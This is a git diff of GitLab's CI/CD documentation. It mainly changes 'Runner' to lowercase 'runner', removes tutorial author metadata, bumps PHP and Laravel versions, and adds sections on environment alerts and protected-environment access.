index db39532bbf2..0fcd95c41ed 100644
--- a/doc/ci/docker/using_docker_images.md
+++ b/doc/ci/docker/using_docker_images.md
@@ -26,7 +26,7 @@ test them on a dedicated CI server.
## Register Docker Runner
-To use GitLab Runner with Docker you need to [register a new Runner](https://docs.gitlab.com/runner/register/)
+To use GitLab Runner with Docker you need to [register a new runner](https://docs.gitlab.com/runner/register/)
to use the `docker` executor.
An example can be seen below. First we set up a temporary template to supply the services:
@@ -112,7 +112,7 @@ It may be a database like MySQL, or Redis, and even `docker:stable-dind` which
allows you to use Docker in Docker. It can be practically anything that's
required for the CI/CD job to proceed and is accessed by network.
-To make sure this works, the Runner:
+To make sure this works, the runner:
1. Checks which ports are exposed from the container by default.
1. Starts a special container that waits for these ports to be accessible.
@@ -382,7 +382,7 @@ services:
- mysql:latest
```
-The Runner would start two containers using the `mysql:latest` image, but both
+The runner would start two containers using the `mysql:latest` image, but both
of them would be added to the job's container with the `mysql` alias based on
the [default hostname naming](#accessing-the-services). This would end with one
of the services not being accessible.
@@ -398,7 +398,7 @@ services:
alias: mysql-2
```
-The Runner still starts two containers using the `mysql:latest` image,
+The runner still starts two containers using the `mysql:latest` image,
however now each of them are also accessible with the alias configured
in `.gitlab-ci.yml` file.
@@ -448,23 +448,23 @@ As you can see, the syntax of `command` is similar to [Dockerfile's `CMD`](https
> Introduced in GitLab and GitLab Runner 9.4. Read more about the [extended configuration options](#extended-docker-configuration-options).
Before showing the available entrypoint override methods, let's describe shortly
-how the Runner starts and uses a Docker image for the containers used in the
+how the runner starts and uses a Docker image for the containers used in the
CI jobs:
-1. The Runner starts a Docker container using the defined entrypoint (default
+1. The runner starts a Docker container using the defined entrypoint (default
from `Dockerfile` that may be overridden in `.gitlab-ci.yml`)
-1. The Runner attaches itself to a running container.
-1. The Runner prepares a script (the combination of
+1. The runner attaches itself to a running container.
+1. The runner prepares a script (the combination of
[`before_script`](../yaml/README.md#before_script-and-after_script),
[`script`](../yaml/README.md#script),
and [`after_script`](../yaml/README.md#before_script-and-after_script)).
-1. The Runner sends the script to the container's shell STDIN and receives the
+1. The runner sends the script to the container's shell STDIN and receives the
output.
To override the entrypoint of a Docker image, the recommended solution is to
-define an empty `entrypoint` in `.gitlab-ci.yml`, so the Runner does not start
+define an empty `entrypoint` in `.gitlab-ci.yml`, so the runner does not start
a useless shell layer. However, that does not work for all Docker versions, and
-you should check which one your Runner is using. Specifically:
+you should check which one your runner is using. Specifically:
- If Docker 17.06 or later is used, the `entrypoint` can be set to an empty value.
- If Docker 17.03 or previous versions are used, the `entrypoint` can be set to
@@ -477,7 +477,7 @@ inside it and you would like to use it as a base image for your job because you
want to execute some tests with this database binary. Let's also assume that
this image is configured with `/usr/bin/super-sql run` as an entrypoint. That
means that when starting the container without additional options, it runs
-the database's process, while Runner expects that the image has no
+the database's process, while the runner expects that the image has no
entrypoint or that the entrypoint is prepared to start a shell command.
With the extended Docker configuration options, instead of creating your
@@ -527,7 +527,7 @@ To define which should be used, the GitLab Runner process reads the configuratio
- `DOCKER_AUTH_CONFIG` variable provided as either:
- A [variable](../variables/README.md#gitlab-cicd-environment-variables) in `.gitlab-ci.yml`.
- A project's variables stored on the projects **Settings > CI/CD** page.
-- `DOCKER_AUTH_CONFIG` variable provided as environment variable in `config.toml` of the Runner.
+- `DOCKER_AUTH_CONFIG` variable provided as environment variable in `config.toml` of the runner.
- `config.json` file placed in `$HOME/.docker` directory of the user running GitLab Runner process.
If the `--user` flag is provided to run the GitLab Runner child processes as unprivileged user,
the home directory of the main GitLab Runner process user is used.
@@ -543,7 +543,7 @@ runtime.
- This feature requires GitLab Runner **1.8** or higher.
- For GitLab Runner versions **>= 0.6, <1.8** there was a partial
support for using private registries, which required manual configuration
- of credentials on runner's host. We recommend to upgrade your Runner to
+ of credentials on runner's host. We recommend to upgrade your runner to
at least version **1.8** if you want to use private registries.
- Available for [Kubernetes executor](https://docs.gitlab.com/runner/executors/kubernetes.html)
in GitLab Runner 13.1 and later.
@@ -556,9 +556,9 @@ private registry. Both require setting the environment variable
1. Per-job: To configure one job to access a private registry, add
`DOCKER_AUTH_CONFIG` as a job variable.
-1. Per-runner: To configure a Runner so all its jobs can access a
+1. Per-runner: To configure a runner so all its jobs can access a
private registry, add `DOCKER_AUTH_CONFIG` to the environment in the
- Runner's configuration.
+ runner's configuration.
See below for examples of each.
@@ -652,12 +652,12 @@ registries to the `"auths"` hash as described above.
NOTE: **Note:**
The full `hostname:port` combination is required everywhere
-for the Runner to match the `DOCKER_AUTH_CONFIG`. For example, if
+for the runner to match the `DOCKER_AUTH_CONFIG`. For example, if
`registry.example.com:5000/namespace/image:tag` is specified in `.gitlab-ci.yml`,
then the `DOCKER_AUTH_CONFIG` must also specify `registry.example.com:5000`.
Specifying only `registry.example.com` does not work.
-### Configuring a Runner
+### Configuring a runner
If you have many pipelines that access the same registry, it is
probably better to set up registry access at the runner level. This
@@ -670,16 +670,16 @@ registry with the same privilege, even across projects. If you need to
control access to the registry, you need to be sure to control
access to the runner.
-To add `DOCKER_AUTH_CONFIG` to a Runner:
+To add `DOCKER_AUTH_CONFIG` to a runner:
-1. Modify the Runner's `config.toml` file as follows:
+1. Modify the runner's `config.toml` file as follows:
```toml
[[runners]]
environment = ["DOCKER_AUTH_CONFIG={\"auths\":{\"registry.example.com:5000\":{\"auth\":\"bXlfdXNlcm5hbWU6bXlfcGFzc3dvcmQ=\"}}}"]
```
-1. Restart the Runner service.
+1. Restart the runner service.
NOTE: **Note:**
The double quotes included in the `DOCKER_AUTH_CONFIG`
@@ -687,7 +687,7 @@ data must be escaped with backslashes. This prevents them from being
interpreted as TOML.
NOTE: **Note:**
-The `environment` option is a list. So your Runner may
+The `environment` option is a list. So your runner may
have existing entries and you should add this to the list, not replace
it.
@@ -713,7 +713,7 @@ To configure credentials store, follow these steps:
}
```
- - Or, if you're running self-managed Runners, add the above JSON to
+ - Or, if you're running self-managed runners, add the above JSON to
`${GITLAB_RUNNER_HOME}/.docker/config.json`. GitLab Runner reads this configuration file
and uses the needed helper for this specific repository.
@@ -762,7 +762,7 @@ To configure access for `aws_account_id.dkr.ecr.region.amazonaws.com`, follow th
This configures Docker to use the credential helper for all Amazon ECR registries.
- - Or, if you're running self-managed Runners,
+ - Or, if you're running self-managed runners,
add the above JSON to `${GITLAB_RUNNER_HOME}/.docker/config.json`.
GitLab Runner reads this configuration file and uses the needed helper for this
specific repository.
diff --git a/doc/ci/docker/using_kaniko.md b/doc/ci/docker/using_kaniko.md
index 41c8f04f66e..a62f4db4fe4 100644
--- a/doc/ci/docker/using_kaniko.md
+++ b/doc/ci/docker/using_kaniko.md
@@ -22,8 +22,8 @@ build](using_docker_build.md#use-docker-in-docker-workflow-with-docker-executor)
## Requirements
-In order to utilize kaniko with GitLab, a [GitLab Runner](https://docs.gitlab.com/runner/)
-using one of the following executors is required:
+In order to utilize kaniko with GitLab, [a runner](https://docs.gitlab.com/runner/)
+with one of the following executors is required:
- [Kubernetes](https://docs.gitlab.com/runner/executors/kubernetes.html).
- [Docker](https://docs.gitlab.com/runner/executors/docker.html).
@@ -85,13 +85,13 @@ This can be solved by adding your CA's certificate to the kaniko certificate
store:
```yaml
- before_script:
- - mkdir -p /kaniko/.docker
- - echo "{\"auths\":{\"$CI_REGISTRY\":{\"username\":\"$CI_REGISTRY_USER\",\"password\":\"$CI_REGISTRY_PASSWORD\"}}}" > /kaniko/.docker/config.json
- - |
- echo "-----BEGIN CERTIFICATE-----
- ...
- -----END CERTIFICATE-----" >> /kaniko/ssl/certs/additional-ca-cert-bundle.crt
+before_script:
+ - mkdir -p /kaniko/.docker
+ - echo "{\"auths\":{\"$CI_REGISTRY\":{\"username\":\"$CI_REGISTRY_USER\",\"password\":\"$CI_REGISTRY_PASSWORD\"}}}" > /kaniko/.docker/config.json
+ - |
+ echo "-----BEGIN CERTIFICATE-----
+ ...
+ -----END CERTIFICATE-----" >> /kaniko/ssl/certs/additional-ca-cert-bundle.crt
```
## Video walkthrough of a working example
@@ -100,8 +100,8 @@ The [Least Privilege Container Builds with Kaniko on GitLab](https://www.youtube
video is a walkthrough of the [Kaniko Docker Build](https://gitlab.com/guided-explorations/containers/kaniko-docker-build)
Guided Exploration project pipeline. It was tested on:
-- [GitLab.com Shared Runners](../../user/gitlab_com/index.md#shared-runners)
-- [The Kubernetes Runner executor](https://docs.gitlab.com/runner/executors/kubernetes.html)
+- [GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners)
+- [The Kubernetes runner executor](https://docs.gitlab.com/runner/executors/kubernetes.html)
The example can be copied to your own group or instance for testing. More details
on what other GitLab CI patterns are demonstrated are available at the project page.
diff --git a/doc/ci/environments/deployment_safety.md b/doc/ci/environments/deployment_safety.md
index cdccdef049d..99f7d5d07a5 100644
--- a/doc/ci/environments/deployment_safety.md
+++ b/doc/ci/environments/deployment_safety.md
@@ -71,8 +71,8 @@ runs by enabling the [Skip outdated deployment jobs](../pipelines/settings.md#sk
Example of a problematic pipeline flow **before** enabling Skip outdated deployment jobs:
-1. Pipeline-A is created on the master branch.
-1. Later, Pipeline-B is created on the master branch (with a newer commit SHA).
+1. Pipeline-A is created on the `master` branch.
+1. Later, Pipeline-B is created on the `master` branch (with a newer commit SHA).
1. The `deploy` job in Pipeline-B finishes first, and deploys the newer code.
1. The `deploy` job in Pipeline-A finished later, and deploys the older code, **overwriting** the newer (latest) deployment.
diff --git a/doc/ci/environments/environments_dashboard.md b/doc/ci/environments/environments_dashboard.md
index e920e0d2400..931e5512e9e 100644
--- a/doc/ci/environments/environments_dashboard.md
+++ b/doc/ci/environments/environments_dashboard.md
@@ -25,8 +25,8 @@ You can access the dashboard from the top bar by clicking
![Environments Dashboard with projects](img/environments_dashboard_v12_5.png)
-The Environments Dashboard displays a maximum of 7 projects
-and 3 environments per project.
+The Environments dashboard displays a paginated list of projects that includes
+up to three environments per project.
The listed environments for each project are unique, such as
"production", "staging", etc. Review apps and other grouped
@@ -47,6 +47,8 @@ The Environments and [Operations](../../user/operations_dashboard/index.md)
dashboards share the same list of projects. When you add or remove a
project from one, GitLab adds or removes the project from the other.
+You can add up to 150 projects for GitLab to display on this dashboard.
+
## Environment dashboards on GitLab.com
GitLab.com users can add public projects to the Environments
diff --git a/doc/ci/environments/img/alert_for_environment.png b/doc/ci/environments/img/alert_for_environment.png
new file mode 100644
index 00000000000..4480c815a92
--- /dev/null
+++ b/doc/ci/environments/img/alert_for_environment.png
Binary files differ
diff --git a/doc/ci/environments/incremental_rollouts.md b/doc/ci/environments/incremental_rollouts.md
index 5da5c8e0a87..06661e03001 100644
--- a/doc/ci/environments/incremental_rollouts.md
+++ b/doc/ci/environments/incremental_rollouts.md
@@ -19,7 +19,7 @@ tranches after a default pause of 5 minutes.
Timed rollouts can also be manually triggered before the pause period has expired.
Manual and Timed rollouts are included automatically in projects controlled by
-[AutoDevOps](../../topics/autodevops/index.md), but they are also configurable through
+[Auto DevOps](../../topics/autodevops/index.md), but they are also configurable through
GitLab CI/CD in the `.gitlab-ci.yml` configuration file.
Manually triggered rollouts can be implemented with your [Continuously Delivery](../introduction/index.md#continuous-delivery)
diff --git a/doc/ci/environments/index.md b/doc/ci/environments/index.md
index 0273ab290a6..07d0dac6163 100644
--- a/doc/ci/environments/index.md
+++ b/doc/ci/environments/index.md
@@ -59,7 +59,7 @@ The rest of this section illustrates how to configure environments and deploymen
an example scenario. It assumes you have already:
- Created a [project](../../gitlab-basics/create-project.md) in GitLab.
-- Set up [a Runner](../runners/README.md).
+- Set up [a runner](../runners/README.md).
In the scenario:
@@ -138,9 +138,9 @@ In summary, with the above `.gitlab-ci.yml` we have achieved the following:
job will deploy our code to a staging server while the deployment
will be recorded in an environment named `staging`.
-#### Environment variables and Runner
+#### Environment variables and runners
-Starting with GitLab 8.15, the environment name is exposed to the Runner in
+Starting with GitLab 8.15, the environment name is exposed to the runner in
two forms:
- `$CI_ENVIRONMENT_NAME`. The name given in `.gitlab-ci.yml` (with any variables
@@ -154,7 +154,7 @@ If you change the name of an existing environment, the:
- `$CI_ENVIRONMENT_SLUG` variable will remain unchanged to prevent unintended side
effects.
-Starting with GitLab 9.3, the environment URL is exposed to the Runner via
+Starting with GitLab 9.3, the environment URL is exposed to the runner via
`$CI_ENVIRONMENT_URL`. The URL is expanded from either:
- `.gitlab-ci.yml`.
@@ -317,14 +317,14 @@ including:
However, you cannot use variables defined:
- Under `script`.
-- On the Runner's side.
+- On the runner's side.
There are also other variables that are unsupported in the context of `environment:name`.
For more information, see [Where variables can be used](../variables/where_variables_can_be_used.md).
#### Example configuration
-GitLab Runner exposes various [environment variables](../variables/README.md) when a job runs, so
+Runners expose various [environment variables](../variables/README.md) when a job runs, so
you can use them as environment names.
In the following example, the job will deploy to all branches except `master`:
@@ -525,7 +525,7 @@ The complete example provides the following workflow to developers:
- Push the branch to GitLab.
- Create a merge request.
-Behind the scenes, GitLab Runner will:
+Behind the scenes, the runner will:
- Pick up the changes and start running the jobs.
- Run the jobs sequentially as defined in `stages`:
@@ -700,7 +700,7 @@ stop_review:
```
Setting the [`GIT_STRATEGY`](../yaml/README.md#git-strategy) to `none` is necessary in the
-`stop_review` job so that the [GitLab Runner](https://docs.gitlab.com/runner/) won't
+`stop_review` job so that the [runner](https://docs.gitlab.com/runner/) won't
try to check out the code after the branch is deleted.
When you have an environment that has a stop action defined (typically when
@@ -864,6 +864,38 @@ exist, you should see something like:
![Environment groups](../img/environments_dynamic_groups.png)
+### Environment incident management
+
+You have successfuly setup a Continous Delivery/Deployment workflow in your project.
+Production environments can go down unexpectedly, including for reasons outside
+of your own control. For example, issues with external dependencies, infrastructure,
+or human error can cause major issues with an environment. This could include:
+
+- A dependent cloud service goes down.
+- A 3rd party library is updated and it's not compatible with your application.
+- Someone performs a DDoS attack to a vulnerable endpoint in your server.
+- An operator misconfigures infrastructure.
+- A bug is introduced into the production application code.
+
+You can use [incident management](../../operations/incident_management/index.md)
+to get alerts when there are critical issues that need immediate attention.
+
+#### View the latest alerts for environments **(ULTIMATE)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214634) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.4.
+
+If you [set up alerts for Prometheus metrics](../../operations/metrics/alerts.md),
+alerts for environments are shown on the environments page. The alert with the highest
+severity is shown, so you can identify which environments need immediate attention.
+
+![Environment alert](img/alert_for_environment.png)
+
+When the issue that triggered the alert is resolved, it is removed and is no
+longer visible on the environment page.
+
+If the alert requires a [rollback](#retrying-and-rolling-back), you can select the
+deployment tab from the environment page and select which deployment to roll back to.
+
### Monitoring environments
If you have enabled [Prometheus for monitoring system and response metrics](../../user/project/integrations/prometheus.md),
diff --git a/doc/ci/environments/protected_environments.md b/doc/ci/environments/protected_environments.md
index b6141ddc7ac..5dda0cc81f6 100644
--- a/doc/ci/environments/protected_environments.md
+++ b/doc/ci/environments/protected_environments.md
@@ -47,6 +47,37 @@ To protect an environment:
The protected environment will now appear in the list of protected environments.
+## Environment access by group membership
+
+A user may be granted access to protected environments as part of
+[group membership](../../user/group/index.md). Users with
+[Reporter permissions](../../user/permissions.md), can only be granted access to
+protected environments with this method.
+
+## Deployment branch access
+
+Users with [Developer permissions](../../user/permissions.md) can be granted
+access to a protected environment through any of these methods:
+
+- As an individual contributor, through a role.
+- Through a group membership.
+
+If the user also has push or merge access to the branch deployed on production,
+they have the following privileges:
+
+- [Stopping an environment](index.md#stopping-an-environment).
+- [Delete a stopped environment](index.md#delete-a-stopped-environment).
+- [Create an environment terminal](index.md#web-terminals).
+
+## Deployment-only access to protected environments
+
+Users granted access to a protected environment, but not push or merge access
+to the branch deployed to it, are only granted access to deploy the environment.
+
+NOTE: **Note:**
+Deployment-only access is the only possible access level for users with
+[Reporter permissions](../../user/permissions.md).
+
## Modifying and unprotecting environments
Maintainers can:
@@ -55,6 +86,10 @@ Maintainers can:
**Allowed to Deploy** dropdown menu.
- Unprotect a protected environment by clicking the **Unprotect** button for that environment.
+NOTE: **Note:**
+After an environment is unprotected, all access entries are deleted and must
+be re-entered if the environment is re-protected.
+
For more information, see [Deployment safety](deployment_safety.md).
<!-- ## Troubleshooting
diff --git a/doc/ci/examples/README.md b/doc/ci/examples/README.md
index 37ccef10567..34e3b276d3e 100644
--- a/doc/ci/examples/README.md
+++ b/doc/ci/examples/README.md
@@ -64,6 +64,7 @@ choose one of these templates:
- [Clojure (`Clojure.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Clojure.gitlab-ci.yml)
- [Composer `Composer.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Composer.gitlab-ci.yml)
- [Crystal (`Crystal.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Crystal.gitlab-ci.yml)
+- [Dart (`Dart.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Dart.gitlab-ci.yml)
- [Django (`Django.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Django.gitlab-ci.yml)
- [Docker (`Docker.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Docker.gitlab-ci.yml)
- [dotNET (`dotNET.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/dotNET.gitlab-ci.yml)
diff --git a/doc/ci/examples/artifactory_and_gitlab/index.md b/doc/ci/examples/artifactory_and_gitlab/index.md
index c1b3ddec1b9..2abb2cc1b0d 100644
--- a/doc/ci/examples/artifactory_and_gitlab/index.md
+++ b/doc/ci/examples/artifactory_and_gitlab/index.md
@@ -3,12 +3,7 @@ stage: Verify
group: Continuous Integration
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
disqus_identifier: 'https://docs.gitlab.com/ee/articles/artifactory_and_gitlab/index.html'
-author: Fabio Busatto
-author_gitlab: bikebilly
-level: intermediate
-article_type: tutorial
type: tutorial
-date: 2017-08-15
---
# How to deploy Maven projects to Artifactory with GitLab CI/CD
@@ -82,7 +77,7 @@ is to configure the authentication data. It is a simple task, but Maven requires
it to stay in a file called `settings.xml` that has to be in the `.m2` subdirectory
in the user's homedir.
-Since you want to use GitLab Runner to automatically deploy the application, you
+Since you want to use a runner to automatically deploy the application, you
should create the file in the project's home directory and set a command line
parameter in `.gitlab-ci.yml` to use the custom location instead of the default one:
@@ -110,7 +105,7 @@ parameter in `.gitlab-ci.yml` to use the custom location instead of the default
Now it's time we set up [GitLab CI/CD](https://about.gitlab.com/stages-devops-lifecycle/continuous-integration/) to automatically build, test and deploy the dependency!
GitLab CI/CD uses a file in the root of the repository, named `.gitlab-ci.yml`, to read the definitions for jobs
-that will be executed by the configured GitLab Runners. You can read more about this file in the [GitLab Documentation](../../yaml/README.md).
+that will be executed by the configured runners. You can read more about this file in the [GitLab Documentation](../../yaml/README.md).
First of all, remember to set up variables for your deployment. Navigate to your project's **Settings > CI/CD > Environment variables** page
and add the following ones (replace them with your current values, of course):
@@ -151,7 +146,7 @@ deploy:
- master
```
-GitLab Runner will use the latest [Maven Docker image](https://hub.docker.com/_/maven/), which already contains all the tools and the dependencies you need to manage the project,
+The runner will use the latest [Maven Docker image](https://hub.docker.com/_/maven/), which already contains all the tools and the dependencies you need to manage the project,
in order to run the jobs.
Environment variables are set to instruct Maven to use the `homedir` of the repository instead of the user's home when searching for configuration and dependencies.
diff --git a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md
index 9a87786ec70..73896547675 100644
--- a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md
+++ b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md
@@ -9,6 +9,12 @@ type: tutorial
This tutorial demonstrates how to authenticate, configure, and read secrets with HashiCorp's Vault from GitLab CI/CD.
+NOTE: **Note:**
+[GitLab Premium](https://about.gitlab.com/pricing/) supports read access to a
+Hashicorp Vault, and enables you to
+[use Vault secrets in a CI job](../../secrets/index.md#use-vault-secrets-in-a-ci-job).
+To learn more, read [Using external secrets in CI](../../secrets/index.md).
+
## Requirements
This tutorial assumes you are familiar with GitLab CI/CD and Vault.
@@ -41,7 +47,7 @@ The JWT's payload looks like this:
"project_path": "mygroup/myproject",
"user_id": "42",
"user_login": "myuser",
- "user_email": "myuser@example.com"
+ "user_email": "myuser@example.com",
"pipeline_id": "1212",
"job_id": "1212",
"ref": "auto-deploy-2020-04-01", # Git ref for this job
diff --git a/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md b/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md
index e0d4f3f2402..b113b10f2e3 100644
--- a/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md
+++ b/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md
@@ -2,14 +2,7 @@
stage: Release
group: Progressive Delivery
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
-author: Dylan Griffith
-author_gitlab: DylanGriffith
-level: intermediate
-article_type: tutorial
type: tutorial
-date: 2018-06-07
-last_updated: 2019-04-08
-description: "Continuous Deployment of a Spring Boot application to Cloud Foundry with GitLab CI/CD"
---
# Deploy a Spring Boot application to Cloud Foundry with GitLab CI/CD
diff --git a/doc/ci/examples/deployment/README.md b/doc/ci/examples/deployment/README.md
index 3192b365c83..f29770b8f57 100644
--- a/doc/ci/examples/deployment/README.md
+++ b/doc/ci/examples/deployment/README.md
@@ -117,7 +117,7 @@ We also use two secure variables:
Secure Variables can added by going to your project's
**Settings âž” CI / CD âž” Variables**. The variables that are defined
-in the project settings are sent along with the build script to the Runner.
+in the project settings are sent along with the build script to the runner.
The secure variables are stored out of the repository. Never store secrets in
your project's `.gitlab-ci.yml`. It is also important that the secret's value
is hidden in the job log.
diff --git a/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md b/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md
index 35a35d97a4b..836141af91e 100644
--- a/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md
+++ b/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md
@@ -2,13 +2,7 @@
stage: Verify
group: Continuous Integration
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
-author: Ryan Hall
-author_gitlab: blitzgren
-level: intermediate
-article_type: tutorial
type: tutorial
-date: 2018-03-07
-last_updated: 2019-03-11
---
# DevOps and Game Dev with GitLab CI/CD
@@ -435,7 +429,7 @@ fully understand [IAM Best Practices in AWS](https://docs.aws.amazon.com/IAM/lat
### Deploy your game with GitLab CI/CD
To deploy our build artifacts, we need to install the [AWS CLI](https://aws.amazon.com/cli/) on
-the Shared Runner. The Shared Runner also needs to be able to authenticate with your AWS
+the shared runner. The shared runner also needs to be able to authenticate with your AWS
account to deploy the artifacts. By convention, AWS CLI will look for `AWS_ACCESS_KEY_ID`
and `AWS_SECRET_ACCESS_KEY`. GitLab's CI gives us a way to pass the variables we
set up in the prior section using the `variables` portion of the `deploy` job. At the end,
diff --git a/doc/ci/examples/end_to_end_testing_webdriverio/index.md b/doc/ci/examples/end_to_end_testing_webdriverio/index.md
index 05b3cc257e3..1f6c81a68aa 100644
--- a/doc/ci/examples/end_to_end_testing_webdriverio/index.md
+++ b/doc/ci/examples/end_to_end_testing_webdriverio/index.md
@@ -2,13 +2,7 @@
stage: Verify
group: Testing
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
-author: Vincent Tunru
-author_gitlab: Vinnl
-level: advanced
-article_type: user guide
type: tutorial
-date: 2019-02-18
-description: 'Confidence checking your entire app every time a new feature is added can quickly become repetitive. Learn how to automate it with GitLab CI/CD.'
---
# End-to-end testing with GitLab CI/CD and WebdriverIO
@@ -228,6 +222,7 @@ deploy_terraform:
stage: deploy
script:
# Your Review App deployment scripts - for a working example please check https://gitlab.com/Flockademic/Flockademic/blob/5a45f1c2412e93810fab50e2dab8949e2d0633c7/.gitlab-ci.yml#L315
+ - echo
e2e:firefox:
stage: confidence-check
services:
diff --git a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md
index c27566d38cf..8927c5c3480 100644
--- a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md
+++ b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md
@@ -2,14 +2,7 @@
stage: Verify
group: Continuous Integration
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
-disqus_identifier: 'https://docs.gitlab.com/ee/articles/laravel_with_gitlab_and_envoy/index.html'
-author: Mehran Rasulian
-author_gitlab: mehranrasulian
-level: intermediate
-article_type: tutorial
type: tutorial
-date: 2017-08-31
-last_updated: 2019-03-06
---
# Test and deploy Laravel applications with GitLab CI/CD and Envoy
@@ -36,7 +29,7 @@ We assume [you have installed a new Laravel project](https://laravel.com/docs/ma
### Unit Test
-Every new installation of Laravel (currently 5.4) comes with two type of tests, 'Feature' and 'Unit', placed in the tests directory.
+Every new installation of Laravel (currently 8.0) comes with two type of tests, 'Feature' and 'Unit', placed in the tests directory.
Here's a unit test from `test/Unit/ExampleTest.php`:
```php
@@ -412,7 +405,7 @@ Let's create a [Dockerfile](https://gitlab.com/mehranrasulian/laravel-sample/blo
```shell
# Set the base image for subsequent instructions
-FROM php:7.1
+FROM php:7.4
# Update packages
RUN apt-get update
@@ -434,7 +427,7 @@ RUN curl --silent --show-error https://getcomposer.org/installer | php -- --inst
RUN composer global require "laravel/envoy=~1.0"
```
-We added the [official PHP 7.1 Docker image](https://hub.docker.com/_/php), which consist of a minimum installation of Debian Jessie with PHP pre-installed, and works perfectly for our use case.
+We added the [official PHP 7.4 Docker image](https://hub.docker.com/_/php), which consist of a minimum installation of Debian buster with PHP pre-installed, and works perfectly for our use case.
We used `docker-php-ext-install` (provided by the official PHP Docker image) to install the PHP extensions we need.
@@ -537,8 +530,8 @@ That's a lot to take in, isn't it? Let's run through it step by step.
#### Image and Services
-[GitLab Runners](../../runners/README.md) run the script defined by `.gitlab-ci.yml`.
-The `image` keyword tells the Runners which image to use.
+[Runners](../../runners/README.md) run the script defined by `.gitlab-ci.yml`.
+The `image` keyword tells the runners which image to use.
The `services` keyword defines additional images [that are linked to the main image](../../docker/using_docker_images.md#what-is-a-service).
Here we use the container image we created before as our main image and also use MySQL 5.7 as a service.
@@ -566,15 +559,11 @@ Also set the variables `DB_HOST` to `mysql` and `DB_USERNAME` to `root`, which a
We define `DB_HOST` as `mysql` instead of `127.0.0.1`, as we use MySQL Docker image as a service which [is linked to the main Docker image](../../docker/using_docker_images.md#how-services-are-linked-to-the-job).
```yaml
-...
-
variables:
MYSQL_DATABASE: homestead
MYSQL_ROOT_PASSWORD: secret
DB_HOST: mysql
DB_USERNAME: root
-
-...
```
#### Unit Test as the first job
@@ -584,8 +573,6 @@ We defined the required shell scripts as an array of the [script](../../yaml/REA
These scripts are some Artisan commands to prepare the Laravel, and, at the end of the script, we'll run the tests by `PHPUnit`.
```yaml
-...
-
unit_test:
script:
# Install app dependencies
@@ -598,8 +585,6 @@ unit_test:
- php artisan migrate
# Run tests
- vendor/bin/phpunit
-
-...
```
#### Deploy to production
@@ -615,8 +600,6 @@ The `only` keyword tells GitLab CI/CD that the job should be executed only when
Lastly, `when: manual` is used to turn the job from running automatically to a manual action.
```yaml
-...
-
deploy_production:
script:
# Add the private SSH key to the build environment
@@ -648,7 +631,7 @@ To do that, commit and push `.gitlab-ci.yml` to the `master` branch. It will tri
Here we see our **Test** and **Deploy** stages.
The **Test** stage has the `unit_test` build running.
-click on it to see the Runner's output.
+click on it to see the runner's output.
![pipeline page](img/pipeline_page.png)
diff --git a/doc/ci/examples/php.md b/doc/ci/examples/php.md
index cc62e9316f2..ab6ff1dc177 100644
--- a/doc/ci/examples/php.md
+++ b/doc/ci/examples/php.md
@@ -26,7 +26,7 @@ As with every job, you need to create a valid `.gitlab-ci.yml` describing the
build environment.
Let's first specify the PHP image that will be used for the job process
-(you can read more about what an image means in the Runner's lingo reading
+(you can read more about what an image means in the runner's lingo reading
about [Using Docker images](../docker/using_docker_images.md#what-is-an-image)).
Start by adding the image to your `.gitlab-ci.yml`:
@@ -73,24 +73,16 @@ Now that we created the script that contains all prerequisites for our build
environment, let's add it in `.gitlab-ci.yml`:
```yaml
-...
-
before_script:
- bash ci/docker_install.sh > /dev/null
-
-...
```
Last step, run the actual tests using `phpunit`:
```yaml
-...
-
test:app:
script:
- phpunit --configuration phpunit_myapp.xml
-
-...
```
Finally, commit your files and push them to GitLab to see your build succeeding
@@ -103,7 +95,7 @@ The final `.gitlab-ci.yml` should look similar to this:
image: php:5.6
before_script:
-# Install dependencies
+ # Install dependencies
- bash ci/docker_install.sh > /dev/null
test:app:
@@ -118,7 +110,7 @@ with a different Docker image version and the runner will do the rest:
```yaml
before_script:
-# Install dependencies
+ # Install dependencies
- bash ci/docker_install.sh > /dev/null
# We test PHP5.6
@@ -231,8 +223,6 @@ In order to execute Composer before running your tests, simply add the
following in your `.gitlab-ci.yml`:
```yaml
-...
-
# Composer stores all downloaded packages in the vendor/ directory.
# Do not use the following if the vendor/ directory is committed to
